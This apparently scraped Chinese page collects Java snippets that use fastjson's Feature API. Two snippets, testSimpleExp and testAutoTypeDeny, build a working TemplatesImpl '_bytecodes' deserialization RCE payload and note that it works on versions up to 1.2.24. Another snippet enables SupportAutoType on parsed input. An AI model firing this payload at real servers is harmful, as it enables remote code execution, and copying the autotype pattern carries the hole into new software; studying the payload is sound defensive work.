下面列出了怎么用com.alibaba.fastjson.parser.Feature的API类实例代码及写法,或者点击链接到github查看源代码。
private static void testSimpleExp() {
try {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",");
String base64Class = new BASE64Encoder().encode(FileToByteArrayUtil.readCallbackRuntimeClassBytes("com/threedr3am/bug/fastjson/rce/Cmd.class"));
base64Class = base64Class.replaceAll("\\r\\n","");
stringBuilder.append("\"_bytecodes\":[\""+base64Class+"\"],");
stringBuilder.append("\"_name\":\"a.b\",");
stringBuilder.append("\"_tfactory\":{},");
stringBuilder.append("\"_outputProperties\":{}}");
String exp = stringBuilder.toString();
System.out.println(exp);
//漏洞利用条件,fastjson版本<=1.2.24 + Feature.SupportNonPublicField
JSON.parseObject(exp,Object.class, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* JSON String 缩进处理
* @param json JSON String
* @return JSON String
*/
public static String toJsonIndent(final String json) {
if (json != null) {
try {
// 保持 JSON 字符串次序
Object object = JSON.parse(json, Feature.OrderedField);
if (object instanceof JSONObject) {
return JSONObject.toJSONString(object, true);
} else if (object instanceof JSONArray) {
return JSONArray.toJSONString(object, true);
}
} catch (Exception e) {
JCLogUtils.eTag(TAG, e, "toJsonIndent");
}
}
return null;
}
/**
* Create AVObject instance from json string which generated by AVObject.toString or AVObject.toJSONString.
*
* @param objectString json string.
* @return AVObject instance, null if objectString is null
*/
public static AVObject parseAVObject(String objectString) {
if (StringUtil.isEmpty(objectString)) {
return null;
}
// replace leading type name to compatible with v4.x android sdk serialized json string.
objectString = objectString.replaceAll("^\\{\\s*\"@type\":\\s*\"[A-Za-z\\.]+\",", "{");
// objectString = objectString.replaceAll("^\\{\\s*\"@type\":\\s*\"cn.leancloud.AV(Object|Installation|User|Status|Role|File)\",", "{");
// replace old AVObject type name.
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVObject\",", "\"@type\":\"cn.leancloud.AVObject\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVInstallation\",", "\"@type\":\"cn.leancloud.AVInstallation\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVUser\",", "\"@type\":\"cn.leancloud.AVUser\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVStatus\",", "\"@type\":\"cn.leancloud.AVStatus\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVRole\",", "\"@type\":\"cn.leancloud.AVRole\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVFile\",", "\"@type\":\"cn.leancloud.AVFile\",");
objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.ops.[A-Za-z]+Op\",", "");
return JSON.parseObject(objectString, AVObject.class, Feature.SupportAutoType);
}
/**
* wzy扩展
*
* @param input
* @param value
* @param config
* @param processor
* @param featureValues
* @param features
*/
private static void reflectObject(String input, Object value, ParserConfig config, ParseProcess processor,
int featureValues, Feature... features) {
if (input == null) {
return;
}
for (Feature featrue : features) {
featureValues = Feature.config(featureValues, featrue, true);
}
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
if (processor instanceof ExtraTypeProvider) {
parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
}
if (processor instanceof ExtraProcessor) {
parser.getExtraProcessors().add((ExtraProcessor) processor);
}
parser.parseObject(value);
parser.handleResovleTask(value);
parser.close();
}
/**
* @since 1.2.11
*/
@SuppressWarnings("unchecked")
public static <T> T parseObject(byte[] bytes, int offset, int len, Charset charset, Type clazz, Feature... features) {
if (charset == null) {
charset = IOUtils.UTF8;
}
String strVal;
if (charset == IOUtils.UTF8) {
char[] chars = allocateChars(bytes.length);
int chars_len = IOUtils.decodeUTF8(bytes, offset, len, chars);
if (chars_len < 0) {
return null;
}
strVal = new String(chars, 0, chars_len);
} else {
if (len < 0) {
return null;
}
strVal = new String(bytes, offset, len, charset);
}
return (T) parseObject(strVal, clazz, features);
}
@SuppressWarnings("unchecked")
public static <T> T parseObject(byte[] input, //
int off, //
int len, //
CharsetDecoder charsetDecoder, //
Type clazz, //
Feature... features) {
charsetDecoder.reset();
int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
char[] chars = allocateChars(scaleLength);
ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
CharBuffer charByte = CharBuffer.wrap(chars);
IOUtils.decode(charsetDecoder, byteBuf, charByte);
int position = charByte.position();
return (T) parseObject(chars, position, clazz, features);
}
@SuppressWarnings("unchecked")
public static <T> T parseObject(char[] input, int length, Type clazz, Feature... features) {
if (input == null || input.length == 0) {
return null;
}
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
DefaultJSONParser parser = new DefaultJSONParser(input, length, ParserConfig.getGlobalInstance(), featureValues);
T value = (T) parser.parseObject(clazz);
parser.handleResovleTask(value);
parser.close();
return (T) value;
}
private ServiceExecutePayload parsePayload(TransactionInfo transactionInfo) {
String json = transactionInfo.getContext();
//获取模块的名称
String moduleId= transactionInfo.getModuleId();
ClassLoader classLoader= SpringContextUtil.getClassLoader(moduleId);
ParserConfig config= new ParserConfig();
//指定类加载器
config.setDefaultClassLoader(classLoader);
ServiceExecutePayload payload= JSON.parseObject(json, ServiceExecutePayload.class, config, null, JSON.DEFAULT_PARSER_FEATURE, new Feature[0]);
final Object[] values= payload.getArgs();
int index=0 ;
for(Class<?> each: payload.getActualTypes()){
Object val= values[index];
if(val!= null) {
values[index] = JSON.parseObject(val.toString(), each, config, null, JSON.DEFAULT_PARSER_FEATURE, new Feature[0]);
}
index++;
}
return payload;
}
public void initCameraParams(JSONObject rt) {
CameraCurParamsJson curParamsJson = (CameraCurParamsJson) JSON.parseObject(rt.toString(), new TypeReference<CameraCurParamsJson>() {
}, new Feature[0]);
if (curParamsJson != null && curParamsJson != null) {
X8sMainActivity.this.mX8MainBottomParameterController.initCameraParam(curParamsJson);
}
}
public void parseParamsValue(JSONObject rt) {
if (this.evShutterISOController != null) {
this.evShutterISOController.initData((CameraCurParamsJson) JSON.parseObject(rt.toString(), new TypeReference<CameraCurParamsJson>() {
}, new Feature[0]));
}
if (this.takePhotoSettingContoller != null) {
this.takePhotoSettingContoller.initData(rt);
}
}
FastJsonResponseBodyConverter(Type type, ParserConfig config,
int featureValues,
Feature... features) {
mType = type;
this.config = config;
this.featureValues = featureValues;
this.features = features;
}
/**
* @since 1.2.51
* @param json
* @param path
* @return
*/
public static Object extract(String json, String path, ParserConfig config, int features, Feature... optionFeatures) {
features |= Feature.OrderedField.mask;
DefaultJSONParser parser = new DefaultJSONParser(json, config, features);
JSONPath jsonPath = compile(path);
Object result = jsonPath.extract(parser);
parser.lexer.close();
return result;
}
private static String content(ProviderType providerType, String templateContent, String templateParams) {
try {
if (StringUtils.isNotEmpty(templateParams)) {
JSONObject param = JSONObject.parseObject(templateParams, Feature.OrderedField);
return processTemplate(templateContent, providerType.getRegex(), param);
}
return "";
} catch (Exception e) {
log.error("替换失败", e);
return "";
}
}
@Override
protected SmsResult send(SmsDO smsDO) {
try {
//初始化单发
SmsSingleSender singleSender = new SmsSingleSender(Convert.toInt(smsDO.getAppId(), 0), smsDO.getAppSecret());
String paramStr = smsDO.getTemplateParams();
JSONObject param = JSONObject.parseObject(paramStr, Feature.OrderedField);
Set<Map.Entry<String, Object>> sets = param.entrySet();
ArrayList<String> paramList = new ArrayList<>();
for (Map.Entry<String, Object> val : sets) {
paramList.add(val.getValue().toString());
}
SmsSingleSenderResult singleSenderResult = singleSender.sendWithParam("86", smsDO.getPhone(),
Convert.toInt(smsDO.getTemplateCode()), paramList, smsDO.getSignName(), "", "");
log.info("tencent result={}", singleSenderResult.toString());
return SmsResult.build(ProviderType.TENCENT, String.valueOf(singleSenderResult.result),
singleSenderResult.sid, singleSenderResult.ext,
ERROR_CODE_MAP.getOrDefault(String.valueOf(singleSenderResult.result), singleSenderResult.errMsg), singleSenderResult.fee);
} catch (Exception e) {
log.error(e.getMessage());
return SmsResult.fail(e.getMessage());
}
}
public FastJsonConfig(SerializeConfig serializeConfig, SerializerFeature[] serializerFeatures,
Map<Class<?>, SerializeFilter> serializeFilters, ParserConfig parserConfig,
Feature[] features) {
this.serializeConfig = serializeConfig;
this.parserConfig = parserConfig;
this.serializerFeatures = serializerFeatures;
this.features = features;
this.serializeFilters = serializeFilters;
}
/**
* 解析应答
*
* @param parser 解析器
* @param lexer 文法
* @return 应答
*/
protected ResponsePayload parse(final DefaultJSONParser parser, final JSONLexer lexer) {
ResponsePayload payload = new ResponsePayload();
String key;
int token;
try {
String typeName = null;
for (; ; ) {
// lexer.scanSymbol
key = lexer.scanSymbol(parser.getSymbolTable());
if (key == null) {
token = lexer.token();
if (token == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
break;
} else if (token == JSONToken.COMMA) {
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
continue;
}
}
}
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (RES_CLASS.equals(key)) {
typeName = parseString(lexer, RES_CLASS, false);
} else if (RESPONSE.equals(key)) {
payload.setResponse(parseResponse(parser, lexer, typeName));
} else if (EXCEPTION.equals(key)) {
payload.setException((Throwable) parseObject(parser, lexer, getThrowableType(typeName)));
}
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
break;
}
}
return payload;
} catch (ClassNotFoundException e) {
throw new SerializerException(e.getMessage());
}
}
/**
* ����JSON����
* @param json ԭʼJSON
* @param key ��ѯkeyֵ
* @param keyindex keyֵ����
* @return ����json����
*/
private static JSONObject parseJsonString(String json, String key, int keyindex) {
LinkedHashMap<String, Object> jsonMap = JSON.parseObject(json,
new TypeReference<LinkedHashMap<String, Object>>() {
}, Feature.OrderedField);
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
parseJsonMap(entry, key, keyindex);
}
return new JSONObject(jsonMap);
}
private static String content(ProviderType providerType, String templateContent, String templateParams) {
try {
if (StringUtils.isNotEmpty(templateParams)) {
JSONObject param = JSONObject.parseObject(templateParams, Feature.OrderedField);
return processTemplate(templateContent, providerType.getRegex(), param);
}
return "";
} catch (Exception e) {
log.error("替换失败", e);
return "";
}
}
@Override
protected SmsResult send(SmsDO smsDO) {
try {
//初始化单发
SmsSingleSender singleSender = new SmsSingleSender(Convert.toInt(smsDO.getAppId(), 0), smsDO.getAppSecret());
String paramStr = smsDO.getTemplateParams();
JSONObject param = JSONObject.parseObject(paramStr, Feature.OrderedField);
Set<Map.Entry<String, Object>> sets = param.entrySet();
ArrayList<String> paramList = new ArrayList<>();
for (Map.Entry<String, Object> val : sets) {
paramList.add(val.getValue().toString());
}
SmsSingleSenderResult singleSenderResult = singleSender.sendWithParam("86", smsDO.getPhone(),
Convert.toInt(smsDO.getTemplateCode()), paramList, smsDO.getSignName(), "", "");
log.info("tencent result={}", singleSenderResult.toString());
return SmsResult.build(ProviderType.TENCENT, String.valueOf(singleSenderResult.result),
singleSenderResult.sid, singleSenderResult.ext,
ERROR_CODE_MAP.getOrDefault(String.valueOf(singleSenderResult.result), singleSenderResult.errMsg), singleSenderResult.fee);
} catch (Exception e) {
log.error(e.getMessage());
return SmsResult.fail(e.getMessage());
}
}
@Ignore
@Test
public void testFormatArea() throws Exception {
String text = FileUtils.readFileToString(new File("e:/hm.txt"), "gbk");
JSONObject aJson = (JSONObject) JSON.parse(text, Feature.OrderedField);
JSONArray root = new JSONArray();
for (Entry<String, Object> E1 : aJson.entrySet()) {
JSONObject L1 = new JSONObject(true);
root.add(L1);
String L1Code = "HK";
if (E1.getKey().contains("澳门")) L1Code = "MO";
else if (E1.getKey().contains("台湾")) L1Code = "TW";
intoJson(E1.getKey(), L1Code, L1);
JSONArray L1Child = new JSONArray();
L1.put("children", L1Child);
int L2Index = 1;
for (Map.Entry<String, Object> E2 : ((JSONObject) E1.getValue()).entrySet()) {
JSONObject L2 = new JSONObject(true);
L1Child.add(L2);
String L2Code = L1Code + StringUtils.leftPad((L2Index++) + "", 2, "0");
intoJson(E2.getKey(), L2Code, L2);
JSONArray L2Child = new JSONArray();
L2.put("children", L2Child);
int L3Index = 1;
for (Object E3 : (JSONArray) E2.getValue()) {
JSONObject L3 = new JSONObject(true);
L2Child.add(L3);
String L3Code = L2Code + StringUtils.leftPad((L3Index++) + "", 2, "0");
intoJson(E3.toString(), L3Code, L3);
}
}
}
System.out.println(root);
}
public static void testAutoTypeDeny(String rootPath) throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = rootPath + fileSeparator + "WEB-INF" + fileSeparator + "classes"
+ fileSeparator + "person" + fileSeparator + "Test.class";
String evilCode = readClass(evilClassPath);
final String nastyClass = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + nastyClass
+ "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },"
+ "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
/**
*
* Description: <br>
*
* @author 王伟<br>
* @taskId <br>
* @return <br>
*/
@Bean
public HttpMessageConverters fastJsonHttpMessageConverters() {
// 1、需要先定义一个 convert 转换消息对象;
FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter();
FastJsonConfig fastJsonConfig = new FastJsonConfig();
fastJsonConfig.setFeatures(Feature.AllowISO8601DateFormat);
fastConverter.setFastJsonConfig(fastJsonConfig);
return new HttpMessageConverters(new StringHttpMessageConverter(), fastConverter);
}
public static <T> T toObject(String json, TypeReference<T> type, Feature... features) {
try {
return JSON.parseObject(json, type, features);
} catch (JSONException e) {
throw new JsonException("Could not cast \"" + json + "\" to " + type.getClass().getName(), e);
}
}
/**
* init param.
*/
public FastJsonConfig() {
this.charset = Charset.forName("UTF-8");
this.serializeConfig = SerializeConfig.getGlobalInstance();
this.parserConfig = new ParserConfig();
this.serializerFeatures = new SerializerFeature[] {
SerializerFeature.BrowserSecure
};
this.serializeFilters = new SerializeFilter[0];
this.features = new Feature[0];
}
public static Object parse(byte[] input, Feature... features) {
char[] chars = allocateChars(input.length);
int len = IOUtils.decodeUTF8(input, 0, input.length, chars);
if (len < 0) {
return null;
}
return parse(new String(chars, 0, len), features);
}
public static Object parse(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Feature... features) {
if (input == null || input.length == 0) {
return null;
}
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(input, off, len, charsetDecoder, featureValues);
}
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(text, featureValues);
}
@BeforeClass
public static void prepare() {
SerializeConfig config = SerializeConfig.getGlobalInstance();
config.put(KV.class, FastJsonKvCodec.INSTANCE);
config.put(KVStore.class, FastJsonKvCodec.INSTANCE);
ParserConfig parserConfig = ParserConfig.getGlobalInstance();
parserConfig.putDeserializer(KV.class, FastJsonKvCodec.INSTANCE);
parserConfig.putDeserializer(KVStore.class, FastJsonKvCodec.INSTANCE);
JSON.DEFAULT_PARSER_FEATURE = Feature.config(JSON.DEFAULT_PARSER_FEATURE, Feature.UseBigDecimal, false);
}
public static <T> T toObject(String json, Type type, Feature... features) {
try {
return JSON.parseObject(json, type, features);
} catch (JSONException e) {
throw new JsonException("Could not cast \"" + json + "\" to " + type.getClass().getName(), e);
}
}
@SuppressWarnings("unchecked")
public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor,
int featureValues, Feature... features) {
if (input == null) {
return null;
}
if (features != null) {
for (Feature feature : features) {
featureValues |= feature.mask;
}
}
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
if (processor != null) {
if (processor instanceof ExtraTypeProvider) {
parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
}
if (processor instanceof ExtraProcessor) {
parser.getExtraProcessors().add((ExtraProcessor) processor);
}
if (processor instanceof FieldTypeResolver) {
parser.setFieldTypeResolver((FieldTypeResolver) processor);
}
}
T value = (T) parser.parseObject(clazz, null);
parser.handleResovleTask(value);
parser.close();
return (T) value;
}